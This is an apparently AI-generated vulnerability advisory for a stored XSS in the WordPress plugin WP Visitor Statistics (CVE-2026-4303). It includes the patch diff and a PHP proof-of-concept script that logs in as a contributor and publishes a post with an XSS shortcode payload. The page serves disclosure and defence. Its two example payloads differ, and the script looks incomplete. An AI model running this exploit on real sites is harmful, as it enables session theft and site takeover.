Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-4303: WP Visitor Statistics (Real Time Traffic) <= 8.4 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'height' Shortcode Attribute (wp-stats-manager)

CVE ID CVE-2026-4303
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 8.4
Patched Version 8.5
Disclosed April 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4303:

This vulnerability is a Stored Cross-Site Scripting (XSS) in the WP Visitor Statistics (Real Time Traffic) plugin for WordPress, affecting versions up to and including 8.4. The flaw exists in the ‘wsm_showDayStatsGraph’ shortcode handler. Authenticated attackers with contributor-level access or higher can inject arbitrary JavaScript that executes when a victim views the compromised page. The CVSS score is 6.4 (Medium).

The root cause lies in the wsm_showDayStatsGraph() function within wp-stats-manager/includes/wsm_statistics.php. The function processes shortcode attributes, including ‘height’, ‘width’, ‘title’, and ‘id’. In the vulnerable version, the ‘height’ attribute is only sanitized by preg_replace for the ‘id’ attribute but is then directly interpolated into a JavaScript string without escaping. The code at line 2282 defines default values and merges them with user-supplied attributes via shortcode_atts(). It sanitizes ‘id’ with preg_replace but does not sanitize or escape ‘height’, ‘width’, or ‘title’ before they are used in JavaScript context. The patch introduces sanitize_text_field() for several attributes and then applies esc_js() to ‘height’, ‘width’, ‘title’, and ‘id’ specifically for JavaScript string interpolation.

An authenticated attacker with contributor-level access can create or edit a post and add a shortcode such as: [wsm_showDayStatsGraph height=”‘/>alert(‘XSS’)”]. When the shortcode is rendered, the ‘height’ attribute is inserted into a JavaScript context without proper escaping. The attacker’s payload escapes the JavaScript string, allowing arbitrary script execution. No special nonce or capability check is performed on the shortcode output itself; the only boundary is the contributor+ role requirement.

The patch adds sanitization and escaping in the wsm_showDayStatsGraph() function. Specifically, it calls sanitize_text_field() on all user-supplied attributes (title, type, condition, from, to, first, second) to strip malicious content. Then it applies esc_js() to the attributes ‘height’, ‘width’, ‘title’, and ‘id’ before they are interpolated into JavaScript strings. esc_js() encodes characters like single quotes, double quotes, and backslashes that could break the JavaScript context. This prevents any injected script from executing.

If exploited, this vulnerability allows an attacker to inject arbitrary JavaScript into a WordPress page or post. When a site administrator or other user views the compromised content, the injected script executes. This can lead to session hijacking, cookie theft, defacement, redirection to malicious sites, or silent credential harvesting. Since the attacker only needs contributor-level access, the risk is elevated compared to XSS vulnerabilities requiring higher privileges. JavaScript execution in the admin context could also enable privileged actions like creating new admin users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-stats-manager/includes/wsm_admin_interface.php
+++ b/wp-stats-manager/includes/wsm_admin_interface.php
@@ -51,7 +51,7 @@
 				function wsm_upgrade_to_pro()
 				{

-					  jQuery('#wsm_modal').modal();
+					  jQuery('#wsm-upgrade-modal').modal({ escapeClose: true, clickClose: true, showClose: false });

 				}
 </script>
--- a/wp-stats-manager/includes/wsm_init.php
+++ b/wp-stats-manager/includes/wsm_init.php
@@ -41,6 +41,7 @@
         add_filter('clean_url', array('wsmInitPlugin', WSM_PREFIX . '_async_scripts'), 11, 1);
         add_action('wp_enqueue_scripts',  array('wsmInitPlugin', WSM_PREFIX . '_front_script_style'));
         add_action('admin_footer', array('wsmInitPlugin', WSM_PREFIX . '_setting_popup_func'));
+        add_action('wp_ajax_wsm_dismiss_upgrade_modal', array('wsmInitPlugin', WSM_PREFIX . '_dismiss_upgrade_modal'));
         add_filter('script_loader_tag', WSM_PREFIX . '_add_async_defer_attribute', 10, 2);
         //update_option(WSM_PREFIX.'KeepData',1);

@@ -199,14 +200,12 @@
         if ($mypage != 'wsm_settings') {
             $wsmAdminJavaScript .= self::wsm_allAjaxRequests();

-            echo '<script type="text/javascript">
-        jQuery(function(){
+            $inline_js = 'jQuery(function(){
         var arrLiveStats=[];
-        var WSM_PREFIX="' . WSM_PREFIX . '";
-
+        var WSM_PREFIX="' . esc_js( WSM_PREFIX ) . '";
         jQuery(".if-js-closed").removeClass("if-js-closed").addClass("closed");
-                ' . $wsmAdminJavaScript . '});
-        </script>';
+        ' . $wsmAdminJavaScript . '});';
+            wp_add_inline_script( WSM_PREFIX . '-custom-admin-script', $inline_js );
         }
     }

@@ -642,6 +641,10 @@
     }
     static function wsm_getReferrerDetails()
     {
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( array( 'message' => __( 'You do not have permission to view this content.', 'wp-stats-manager' ) ), 403 );
+            wp_die();
+        }
         $arrRequest = array();
         $arrResponse = array();
         if (isset($_REQUEST['requests'])) {
@@ -685,7 +688,10 @@

     static function wsm_getDateWiseLocationDetail()
     {
-
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( array( 'message' => __( 'You do not have permission to view this content.', 'wp-stats-manager' ) ), 403 );
+            wp_die();
+        }

         $arrRequest = array(
             'city' => sanitize_text_field($_REQUEST['city']),
@@ -767,6 +773,10 @@
     }
     static function wsm_getContentUrlDayView()
     {
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( array( 'message' => __( 'You do not have permission to view this content.', 'wp-stats-manager' ) ), 403 );
+            wp_die();
+        }
         $arrRequest = array();
         $arrResponse = array();

@@ -846,6 +856,10 @@
     }
     static function wsm_getReferralOSDetails()
     {
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( array( 'message' => __( 'You do not have permission to view this content.', 'wp-stats-manager' ) ), 403 );
+            wp_die();
+        }
         $arrRequest = array();
         $arrResponse = array();

@@ -929,6 +943,10 @@
     }
     static function wsm_getReferrerUrlDetails()
     {
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( array( 'message' => __( 'You do not have permission to view this content.', 'wp-stats-manager' ) ), 403 );
+            wp_die();
+        }
         $arrRequest = array();
         $arrResponse = array();

@@ -1006,8 +1024,10 @@

     static function wsm_getUOSummary()
     {
-
-
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( array( 'message' => __( 'You do not have permission to view this content.', 'wp-stats-manager' ) ), 403 );
+            wp_die();
+        }

         $arrRequest = array();
         $arrResponse = array();
@@ -1072,6 +1092,10 @@
     }
     static function wsm_getTimezoneByCountry()
     {
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( array( 'message' => __( 'You do not have permission to view this content.', 'wp-stats-manager' ) ), 403 );
+            wp_die();
+        }
         $countryCode = (isset($_REQUEST['code']) && $_REQUEST['code'] != '') ? sanitize_text_field($_REQUEST['code']) : '';
         echo wsmFnGetTimeZoneByCountry($countryCode);
         wp_die();
@@ -1312,6 +1336,12 @@
             add_action('admin_notices', array('wsmInitPlugin', WSM_PREFIX . '_viewError'));

             if (isset($_GET['action']) && $_GET['action'] == 'fixed_db_issue' && !isset($_GET['success'])) {
+                if ( ! current_user_can( 'manage_options' ) ) {
+                    wp_die( __( 'You do not have permission to perform this action.', 'wp-stats-manager' ), 403 );
+                }
+                if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'wsm_fix_db_issue' ) ) {
+                    wp_die( __( 'Security check failed. Please try again.', 'wp-stats-manager' ), 403 );
+                }
                 $wpdb->query('DROP TABLE IF EXISTS ' . self::$tablePrefix . '_pageViews');
                 $wpdb->query('DROP TABLE IF EXISTS ' . self::$tablePrefix . '_uniqueVisitors');
                 $wpdb->query('DROP TABLE IF EXISTS ' . self::$tablePrefix . '_bounceVisits');
@@ -1408,7 +1438,7 @@
                 if ($missing_views) {
                 ?>
                     <p><?php echo sprintf(__('There is still %d tables are missing. Please click on below button to fix the issue.', 'wphr'), esc_html($missing_views)); ?></p>
-                    <p><a class="primary button button-primary" href="<?php echo admin_url('index.php?action=fixed_db_issue'); ?>"><?php _e('Fix now!', 'wphr'); ?></a></p>
+                    <p><a class="primary button button-primary" href="<?php echo esc_url( wp_nonce_url( admin_url('index.php?action=fixed_db_issue'), 'wsm_fix_db_issue' ) ); ?>"><?php _e('Fix now!', 'wphr'); ?></a></p>
                 <?php

                 } else {
@@ -1419,7 +1449,7 @@


                     <p><?php _e('There is some of the tables are missing. Please click on below button to fix the issue.', 'wphr'); ?></p>
-                    <p><a class="primary button button-primary" href="<?php echo admin_url('index.php?action=fixed_db_issue'); ?>"><?php _e('Fix now!', 'wphr'); ?></a></p>
+                    <p><a class="primary button button-primary" href="<?php echo esc_url( wp_nonce_url( admin_url('index.php?action=fixed_db_issue'), 'wsm_fix_db_issue' ) ); ?>"><?php _e('Fix now!', 'wphr'); ?></a></p>
             <?php
                 }
             }
@@ -2010,19 +2040,34 @@

     static function wsm_setting_popup_func()
     {
-
         global $pagenow, $wsmRequestArray;

-        $page = isset($wsmRequestArray['page']) && $wsmRequestArray['page'] != '' ? sanitize_text_field($wsmRequestArray['page']) : '';
+        $page = isset( $wsmRequestArray['page'] ) && $wsmRequestArray['page'] != '' ? sanitize_text_field( $wsmRequestArray['page'] ) : '';

-        //wsm_traffic
+        if ( ! ( $pagenow == 'admin.php' && strpos( $page, WSM_PREFIX ) !== false ) ) {
+            return;
+        }

-        if ($pagenow == 'admin.php' && (strpos($page, WSM_PREFIX) !== false)) {
+        // Record install time the first time the plugin page is visited
+        if ( ! get_option( 'wsm_upgrade_modal_install_time' ) ) {
+            add_option( 'wsm_upgrade_modal_install_time', time() );
+        }

+        // Always render the modal HTML so wsm_upgrade_to_pro() can open it on demand.
+        // The JS inside wsm_modal.php handles the 24h auto-open logic separately.
+        require_once WSM_DIR . '/includes/wsm_modal.php';
+    }

-            require_once WSM_DIR . '/includes/wsm_modal.php';
-            add_option('wsm_popup_status', 1);
+    static function wsm_dismiss_upgrade_modal()
+    {
+        if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_key( $_POST['nonce'] ), 'wsm_dismiss_upgrade' ) ) {
+            wp_send_json_error( 'Invalid nonce', 403 );
+        }
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( 'Unauthorized', 403 );
         }
+        update_option( 'wsm_upgrade_modal_dismissed', true );
+        wp_send_json_success();
     }


--- a/wp-stats-manager/includes/wsm_modal.php
+++ b/wp-stats-manager/includes/wsm_modal.php
@@ -1,140 +1,130 @@
-<!-- Modal -->
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <style>
-.img_block.wsm-head {
-    width: 100%;
-    height: 60px;
-    border-bottom: 1px solid #f5f5f5;
-    padding-bottom: 10px;
-}
-
-.img_block.wsm-head .wsm-head-left {
-    float: left;
-}
-
-.img_block.wsm-head .wsm-head-right {
-    float: right;
-
-}
-
-
-.img_block.wsm-head .wsm-head-right img {
-    width: auto;
-}
-
-.wsm_hint{
-	font-size:16px;
-
-}
-
-.wsm_hint b{
-	color:red;
-
-
-}
-
-.left_side{
-	float:left;
-	display:inline;
-	width:65%;
-
-}
-
-.right_side{
-	float:right;
-	display:inline;
-	width:30%;
-
-}
-.list_features li{
-	margin-left:20px;
-	font-size:16px;
-}
-
-.wsm-head-left span.wsm-version-info {
-    background-color: #D8ECF9;
-    padding: 8px 20px;
-    font-weight: 500;
-    font-size: 15px;
-
-}
-
-.wsm-head-left span.wsm-version-info span {
-    font-weight: 700;
-}
-
-.modal-body, h4, h3, p{
-	margin:20px;
-}
-#wsm_modal{
-
-	padding:30px;
-	padding-left:0px;
-	min-width:50% !important;
-	z-index:999
-
-}
-
-@media (min-width: 768px) {
-
-
-    .modal-sm {
-        width: 300px;
-    }
-}
-
-@media (min-width: 992px) {
-    .modal-lg {
-        width: 900px;
-    }
-}
+#wsm-upgrade-modal{padding:0;min-width:480px;max-width:520px;border-radius:20px;overflow:hidden;border:none;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif}
+.wsm-hero{background:#0F1B2D;padding:32px 28px 26px;position:relative;overflow:hidden}
+.wsm-hero-glow1{position:absolute;top:-60px;right:-60px;width:200px;height:200px;border-radius:50%;background:#185FA5;opacity:0.25;pointer-events:none}
+.wsm-hero-glow2{position:absolute;bottom:-80px;left:-40px;width:160px;height:160px;border-radius:50%;background:#534AB7;opacity:0.2;pointer-events:none}
+.wsm-version-badge{display:inline-flex;align-items:center;gap:6px;background:rgba(83,74,183,0.3);border:1px solid rgba(83,74,183,0.6);color:#AFA9EC;font-size:11px;font-weight:500;padding:4px 10px;border-radius:20px;margin-bottom:16px;position:relative;z-index:1}
+.wsm-version-dot{width:6px;height:6px;border-radius:50%;background:#7F77DD;display:inline-block;flex-shrink:0}
+.wsm-hero-title{color:#fff;font-size:22px;font-weight:600;line-height:1.35;margin:0 0 8px;position:relative;z-index:1}
+.wsm-hero-title span{color:#7F77DD}
+.wsm-hero-sub{color:rgba(255,255,255,0.5);font-size:13px;line-height:1.6;margin:0;position:relative;z-index:1}
+.wsm-body{padding:22px 26px 26px;background:#fff}
+.wsm-offer-strip{display:flex;align-items:center;gap:10px;background:#FFF8EE;border:1px solid #EF9F27;border-radius:10px;padding:11px 14px;margin-bottom:20px}
+.wsm-offer-icon{font-size:18px;flex-shrink:0;line-height:1}
+.wsm-offer-left{flex:1}
+.wsm-offer-title{font-size:13px;font-weight:600;color:#633806;margin:0}
+.wsm-offer-sub{font-size:11px;color:#854F0B;margin:2px 0 0}
+.wsm-offer-badge{background:#E87722;color:#fff;font-size:12px;font-weight:600;padding:4px 10px;border-radius:6px;white-space:nowrap}
+.wsm-section-label{font-size:11px;font-weight:600;color:#888;letter-spacing:0.8px;text-transform:uppercase;margin:0 0 10px;display:block}
+.wsm-features{display:grid;grid-template-columns:1fr 1fr;gap:8px;margin-bottom:20px}
+.wsm-feat{display:flex;align-items:center;gap:8px;background:#F8F8FA;border:1px solid #EBEBED;border-radius:8px;padding:9px 11px}
+.wsm-feat-icon{width:22px;height:22px;border-radius:6px;background:#E6F1FB;display:flex;align-items:center;justify-content:center;flex-shrink:0}
+.wsm-feat-icon svg{display:block}
+.wsm-feat-text{font-size:12px;color:#555;line-height:1.3;margin:0}
+.wsm-social-proof{display:flex;align-items:center;gap:10px;padding:12px 14px;background:#F8F8FA;border-radius:10px;margin-bottom:20px;border:1px solid #EBEBED}
+.wsm-avatars{display:flex}
+.wsm-av{width:26px;height:26px;border-radius:50%;border:2px solid #fff;display:flex;align-items:center;justify-content:center;font-size:10px;font-weight:600;color:#fff;margin-left:-8px}
+.wsm-av:first-child{margin-left:0}
+.wsm-sp-text{flex:1;font-size:12px;color:#666}
+.wsm-sp-text strong{color:#222;font-weight:600;display:block}
+.wsm-stars{color:#EF9F27;font-size:11px;letter-spacing:1px}
+.wsm-btn-main{display:flex;width:100%;background:#185FA5;color:#fff;border:none;border-radius:10px;padding:14px;font-size:15px;font-weight:600;cursor:pointer;align-items:center;justify-content:center;gap:8px;margin-bottom:12px;text-decoration:none;box-sizing:border-box}
+.wsm-btn-main:hover{background:#0C447C;color:#fff}
+.wsm-btn-main svg{flex-shrink:0}
+.wsm-skip{display:block;text-align:center;font-size:12px;color:#999;cursor:pointer;background:none;border:none;width:100%;padding:4px 0;margin:0}
+.wsm-skip:hover{color:#555}
+.close-modal{display:none !important}
 </style>
-<div id="wsm_modal" style="display:none" class="modal fade" tabindex="-1">
-	<div class="modal-dialog">
-		<div class="modal-content">
-
-
-		<div class="img_block wsm-head">
-                                    <div class="wsm-head-left">
-                                        <div class="wsm-head-title">Visitor Statistics Premium</div>
-                                        <span class="wsm-version-info"><span>NEW V </span>6.8</span>
-                                    </div >
-
-		</div>
-
-									<p class="wsm_hint">
-                                    Thanks for being a loyal Visitor Statistics Lite user. Upgrade to Visitor Statistics Pro and unlock all the awesome features. <b><br><br>For limited time, get 50% off your order + Free Addons</b>
-								   </p>
-
-		<h3>Main Premium Features!</h3>
-
-		 <div class="modal-body">
-				<!-- body start -->
-				<div class="container-fluid">
-			     <div class="row">
-		            <div class="left_side">
-					<ul class="list_features">
-						<li>✅ Online users statistics</li>
-						<li>✅ Visitor’s Country & City Recognition</li>
-						<li>✅ Recent visitors by IP</li>
-						<li>✅ Recent visitors on the map</li>
-						<li>✅ More Advanced reporting</li>
-					</ul>
-					</div>
-
-					 <div class="right_side">
-					<img width="100%" src="<?php echo WSM_URL;?>images/features.gif" />
-					</div>
-
-					<div class="modal-footer">

-						<a href="https://www.plugins-market.com/product/visitor-statistics-pro/" target="_blank">
-						<img width="200px" src="<?php echo WSM_URL;?>images/upgrade-button-orange.png" /></a>
-						<br>
-						  <b style="color:green">Trusted by More than 10,000 Website Owner :)</b>
-					</div>
-					</div>
-				</div>
-				</div>
-	</div><!-- /.modal-content -->
-</div><!-- /.modal-dialog -->
-<!-- /.modal -->
 No newline at end of file
+<div id="wsm-upgrade-modal" style="display:none">
+  <div class="wsm-hero">
+    <div class="wsm-hero-glow1"></div>
+    <div class="wsm-hero-glow2"></div>
+    <div class="wsm-version-badge">
+      <span class="wsm-version-dot"></span>
+      New — Version 6.8
+    </div>
+    <h2 class="wsm-hero-title">Stop guessing.<br><span>Know exactly</span> who visits your site — and why.</h2>
+    <p class="wsm-hero-sub">Join 10,000+ website owners who turn raw traffic data into real growth every single day.</p>
+  </div>
+  <div class="wsm-body">
+    <div class="wsm-offer-strip">
+      <div class="wsm-offer-icon">⚡</div>
+      <div class="wsm-offer-left">
+        <p class="wsm-offer-title">Limited-time offer — ends soon</p>
+        <p class="wsm-offer-sub">50% off your upgrade + free addons included</p>
+      </div>
+      <div class="wsm-offer-badge">50% OFF</div>
+    </div>
+    <span class="wsm-section-label">What you unlock</span>
+    <div class="wsm-features">
+      <div class="wsm-feat">
+        <div class="wsm-feat-icon"><svg width="12" height="12" viewBox="0 0 12 12" fill="none"><circle cx="6" cy="6" r="4" stroke="#185FA5" stroke-width="1.2"/><circle cx="6" cy="6" r="1.5" fill="#185FA5"/></svg></div>
+        <p class="wsm-feat-text">Real-time online users</p>
+      </div>
+      <div class="wsm-feat">
+        <div class="wsm-feat-icon"><svg width="12" height="12" viewBox="0 0 12 12" fill="none"><path d="M2 9L5 6L7 8L10 3" stroke="#185FA5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/></svg></div>
+        <p class="wsm-feat-text">Advanced reporting</p>
+      </div>
+      <div class="wsm-feat">
+        <div class="wsm-feat-icon"><svg width="12" height="12" viewBox="0 0 12 12" fill="none"><rect x="1" y="3" width="10" height="7" rx="1.5" stroke="#185FA5" stroke-width="1.2"/><path d="M4 3V2a2 2 0 014 0v1" stroke="#185FA5" stroke-width="1.2" stroke-linecap="round"/></svg></div>
+        <p class="wsm-feat-text">Visitor tracking by IP</p>
+      </div>
+      <div class="wsm-feat">
+        <div class="wsm-feat-icon"><svg width="12" height="12" viewBox="0 0 12 12" fill="none"><path d="M6 1C3.8 1 2 2.8 2 5c0 3 4 7 4 7s4-4 4-7c0-2.2-1.8-4-4-4z" stroke="#185FA5" stroke-width="1.2"/><circle cx="6" cy="5" r="1.2" fill="#185FA5"/></svg></div>
+        <p class="wsm-feat-text">Live visitor map</p>
+      </div>
+      <div class="wsm-feat">
+        <div class="wsm-feat-icon"><svg width="12" height="12" viewBox="0 0 12 12" fill="none"><circle cx="6" cy="4" r="2" stroke="#185FA5" stroke-width="1.2"/><path d="M2 10c0-2.2 1.8-4 4-4s4 1.8 4 4" stroke="#185FA5" stroke-width="1.2" stroke-linecap="round"/></svg></div>
+        <p class="wsm-feat-text">Country & city data</p>
+      </div>
+      <div class="wsm-feat">
+        <div class="wsm-feat-icon"><svg width="12" height="12" viewBox="0 0 12 12" fill="none"><path d="M10 3L5 8L2 5" stroke="#185FA5" stroke-width="1.4" stroke-linecap="round" stroke-linejoin="round"/></svg></div>
+        <p class="wsm-feat-text">Priority support</p>
+      </div>
+    </div>
+    <div class="wsm-social-proof">
+      <div class="wsm-avatars">
+        <div class="wsm-av" style="background:#185FA5">A</div>
+        <div class="wsm-av" style="background:#534AB7">M</div>
+        <div class="wsm-av" style="background:#0F6E56">S</div>
+        <div class="wsm-av" style="background:#993C1D">R</div>
+      </div>
+      <div class="wsm-sp-text">
+        <strong>10,000+ website owners trust us</strong>
+        <span class="wsm-stars">★★★★★ Rated 5 stars</span>
+      </div>
+    </div>
+    <a href="https://www.plugins-market.com/product/visitor-statistics-pro/" target="_blank" class="wsm-btn-main">
+      <svg width="16" height="16" viewBox="0 0 16 16" fill="none"><path d="M8 2v9M4 8l4 4 4-4" stroke="#fff" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/><path d="M2 13h12" stroke="#fff" stroke-width="1.5" stroke-linecap="round"/></svg>
+      Upgrade Now — Get 50% Off
+    </a>
+    <button class="wsm-skip" id="wsm-dismiss-btn">Dismiss</button>
+  </div>
+</div>
+
+<script>
+jQuery(document).ready(function($){
+  <?php if ( ! get_option( 'wsm_upgrade_modal_dismissed', false ) ) : ?>
+  var wsmInstallTime = <?php echo (int) get_option( 'wsm_upgrade_modal_install_time', time() ); ?>;
+  var wsmNow        = <?php echo time(); ?>;
+  var wsmElapsed    = wsmNow - wsmInstallTime;
+
+  if( wsmElapsed >= 86400 ){
+    $('#wsm-upgrade-modal').modal({ escapeClose: true, clickClose: true, showClose: false });
+  }
+  <?php endif; ?>
+
+  function wsmDoD(){
+    $.modal.close();
+    $.post('<?php echo esc_js( admin_url("admin-ajax.php") ); ?>', {
+      action: 'wsm_dismiss_upgrade_modal',
+      nonce:  '<?php echo esc_js( wp_create_nonce("wsm_dismiss_upgrade") ); ?>'
+    });
+  }
+
+  $('#wsm-dismiss-btn').on('click', function(){ wsmDoD(); });
+  $(document).on('modal:close', '#wsm-upgrade-modal', function(){ wsmDoD(); });
+});
+</script>
--- a/wp-stats-manager/includes/wsm_statistics.php
+++ b/wp-stats-manager/includes/wsm_statistics.php
@@ -2282,7 +2282,20 @@
             'second' => $second
         ), $atts, WSM_PREFIX . '_showCurrentStats');

-        $atts['id'] = preg_replace('/[^a-zA-Z0-9_-]/', '', $atts['id']);
+        $atts['id']        = preg_replace( '/[^a-zA-Z0-9_-]/', '', $atts['id'] );
+        $atts['title']     = sanitize_text_field( $atts['title'] );
+        $atts['type']      = sanitize_key( $atts['type'] );
+        $atts['condition'] = sanitize_key( $atts['condition'] );
+        $atts['from']      = sanitize_text_field( $atts['from'] );
+        $atts['to']        = sanitize_text_field( $atts['to'] );
+        $atts['first']     = sanitize_text_field( $atts['first'] );
+        $atts['second']    = sanitize_text_field( $atts['second'] );
+
+        // Apply esc_js() to all attributes interpolated into JavaScript strings (Wordfence recommendation)
+        foreach ( ['height', 'width', 'title', 'id'] as $key ) {
+            $atts[ $key ] = esc_js( $atts[ $key ] );
+        }
+
         $arrChartStats = array();
         $arrChartStatSecond = array();
         $yMax = 0;
--- a/wp-stats-manager/wp-stats-manager.php
+++ b/wp-stats-manager/wp-stats-manager.php
@@ -3,7 +3,7 @@
  * Plugin Name: WP Visitor Statistics (Real Time Traffic)
  * Plugin URI: http://plugins-market.com/contact-us
  * Description: This plugin will track the web analytics for each page and show various analytics report in admin panel as well as in front end.
- * Version: 8.4
+ * Version: 8.5
  * Author: osamaesh
  * Author URI: http://plugins-market.com/
  * Developer: osamaesh

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4303 - WP Visitor Statistics (Real Time Traffic) <= 8.4 - Authenticated (Contributor+) Stored XSS via 'height' Shortcode Attribute

// Configuration: Set these variables
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor'; // WordPress username with contributor+ role
$password = 'password'; // WordPress password

// Payload: XSS via height attribute
$payload = '" onclick=alert(/XSS/) data-x="';
$shortcode = '[wsm_showDayStatsGraph height="' . $payload . '"]';

// Step 1: Login to WordPress
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_exec($ch);

// Step 2: Get the nonce for creating a post
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);

// Extract nonce from the page
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1];

if (!$nonce) {
    die('Failed to extract nonce');
}

// Step 3: Create a new post with the malicious shortcode
$post_data = array(
    'post_title' => 'Atomic Edge PoC - CVE-2026-4303',
    'content' => $shortcode,
    'post_status' => 'publish',
    'post_type' => 'post',
    '_wpnonce' => $nonce
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data) . '&action=editpost');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);

// Step 4: Verify the post was created and XSS works
echo "PoC complete. The XSS payload has been stored in a new post.n";
echo "To test, visit: " . $target_url . "/?p=NEW_POST_ID (replace with actual post ID)n";

curl_close($ch);

// Clean up cookies
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School